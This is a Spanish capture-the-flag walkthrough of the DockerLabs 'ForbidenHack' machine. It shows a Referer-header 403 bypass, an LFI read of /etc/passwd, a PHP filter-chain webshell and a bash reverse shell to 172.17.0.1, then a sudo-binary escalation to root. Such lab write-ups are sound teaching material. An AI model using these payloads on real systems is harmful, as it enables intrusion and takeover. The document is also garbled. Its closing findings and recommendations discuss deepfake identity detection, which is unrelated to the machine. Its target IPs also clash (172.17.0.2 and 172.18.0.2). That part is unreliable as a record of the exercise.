ForbidenHack

Introducción

Este documento presenta la resolución completa de la máquina ForbidenHack, desarrollada por d1se0 para DockerLabs y clasificada con un nivel de dificultad fácil.

El análisis se organiza siguiendo un flujo metodológico clásico de auditoría:

1. Reconocimiento: descubrimiento de puertos, rutas accesibles y archivos expuestos.
2. Explotación: obtención de acceso inicial mediante un bypass de restricción 403 y explotación de un LFI.
3. Escalada de privilegios: abuso de configuraciones inseguras en un binario ejecutable vía sudo.

Los objetivos del procedimiento fueron:

• Identificar los vectores de ataque disponibles desde el entorno inicial.
• Analizar el comportamiento del servidor y los archivos accesibles.
• Obtener acceso inicial mediante técnicas de bypass y análisis de código.
• Escalar privilegios hasta usuario root aprovechando configuraciones incorrectas.

Todas las acciones se realizaron dentro del entorno aislado proporcionado por DockerLabs.

---

Información General

Atributo	Valor
Nombre	ForbidenHack
Autor	d1se0
Dificultad	Fácil
Fecha	14/01/2025
Plataforma	DockerLabs

---

Paso 0 — Preparación y despliegue

Se descomprime el archivo descargado:

unzip "ForbidenHack.zip"

Luego se despliega la máquina mediante el script proporcionado:

sudo bash auto_deploy.sh "ForbidenHack.tar"

El script devuelve la IP interna asignada, la cual se utilizará en todo el análisis.

---

Paso 1 — Reconocimiento

1.1 Organización del entorno de trabajo

Para mantener un espacio estructurado de análisis:

mkdir -p ForbidenHack/{content,exploits,nmap,gobuster,scripts}
cd ForbidenHack

1.2 Escaneo de puertos

Se realiza un escaneo completo:

nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puerto identificado:

• 80/tcp — HTTP

El único vector de entrada inicial disponible es el servicio HTTP.

---

1.3 Enumeración Web (HTTP — puerto 80)

Exploración inicial con Gobuster:

gobuster dir \
  -u http://172.18.0.2/ \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
  -x php,html,txt,js \
  -t 200

Entre los resultados:

• /index.html — Página básica sin información útil.

Observamos que la página HTML hace referencia a un archivo ubicado en:

/var/www/bypass403.pw/index.php

Esto indica el uso de virtual hosts, por lo que es necesario añadir el dominio al archivo /etc/hosts.

Al acceder al dominio:

Se obtiene un 403 Forbidden, lo cual coincide con el nombre de la máquina.

---

Paso 2 — Explotación (Acceso Inicial)

El dominio sugiere un bypass 403, por lo que se prueban encabezados HTTP adicionales. El servidor permite el acceso si se envía un encabezado:

Referer: http://bypass403.pw

Una vez aplicado:

El mensaje “Cuántos secretos guarda esta web” sugiere la existencia de rutas ocultas, por lo que se procede con fuzzing de parámetros usando ffuf:

ffuf -u http://bypass403.pw/index.php?FUZZ=/etc/passwd \
     -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
     -mc all -fs 0,1192 -hc 403 -t 100

El parámetro pages permite un LFI (Local File Inclusion):

curl -k "http://bypass403.pw/index.php?pages=/etc/passwd" \
     -H "Referer: http://bypass403.pw/index.php"

Como el LFI es funcional, se procede a intentar una ejecución remota mediante filter chains en PHP.

Se genera un payload de ejecución de comandos:

php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'

Se abre un listener:

nc -nlvp 443

Y se lanza la cadena de filtros para obtener una reverse shell:

curl --get --data-urlencode "a=bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'" \
     --data-urlencode "pages=php://filter/...<cadena completa>..." \
     -H "Referer: http://bypass403.pw" \
     http://bypass403.pw/index.php

La reverse shell se obtiene correctamente:

---

Paso 3 — Escalada de privilegios

3.1 De www-data → bambi

En /home/bambi/ se encuentra un archivo .secret:

El archivo contiene:

usuario:password_base64

Se decodifica la contraseña y se accede como bambi:

su bambi

---

3.2 De bambi → root (abuso del binario furb)

Se revisan los permisos sudo:

El usuario puede ejecutar furb como root sin contraseña.

Al analizar el archivo /var/backups/furbRead.txt, queda claro que el binario se utiliza para leer archivos:

El archivo menciona que existe otro con el mismo nombre en otra ubicación, lo cual sugiere que en /root/ podría haber uno.

Se ejecuta:

sudo furb -r /root/furbRead.txt

El archivo contiene una contraseña para root, por lo que solo queda acceder:

su root

---

Fallos de seguridad identificados (resumido)

1. Alta calidad de las identidades sintéticas Los modelos generativos actuales producen rostros, voces y documentos con un nivel de realismo que dificulta su detección mediante métodos tradicionales de verificación.

2. Ausencia de verificadores multimodales integrados La mayoría de los sistemas analizan solo una modalidad (imagen, audio o documento), lo que permite que una identidad falsa bien elaborada pase desapercibida si alguna modalidad no es evaluada.

3. Herramientas forenses limitadas o inconsistentes Las soluciones existentes presentan tasas variables de falsos positivos/negativos, especialmente frente a contenido generado con modelos recientes.

4. Falta de estandarización en metadatos y trazabilidad Muchos formatos no incluyen información confiable de origen, facilitando la manipulación o creación de materiales totalmente sintéticos sin dejar rastro detectable.

5. Vulnerabilidad ante ataques de “bypass” Modificaciones simples —como compresión adicional, filtros o reenvasado del archivo— pueden degradar las señales forenses y reducir la eficacia de los detectores.

6. Carencia de protocolos institucionales de verificación Las organizaciones no suelen contar con lineamientos claros para validar identidad digital ante la presencia de contenido sintético.

---

Recomendaciones (resumido)

1. Adoptar modelos de detección multimodal Integrar verificadores que analicen simultáneamente rostro, voz y documentos aumenta la probabilidad de detectar inconsistencias entre modalidades.

2. Actualizar continuamente los detectores Implementar sistemas que se entrenen o ajusten periódicamente frente a nuevas técnicas generativas, reduciendo el rezago frente a modelos emergentes.

3. Fortalecer el uso de metadatos verificables Establecer estándares de firma digital, trazabilidad y certificación de origen para archivos audiovisuales y documentos.

4. Aplicar análisis forense en múltiples niveles Combinar detección basada en artefactos digitales, análisis del comportamiento del modelo y verificación contextual (ej. inconsistencias temporales o biográficas).

5. Implementar protocolos institucionales de verificación Definir procedimientos claros para elevar el nivel de escrutinio cuando existan indicios de identidad sintética.

6. Promover capacitación en riesgos asociados a IA generativa Sensibilizar a equipos técnicos y administrativos sobre el uso malicioso de identidades sintéticas y sobre las señales tempranas de fraude.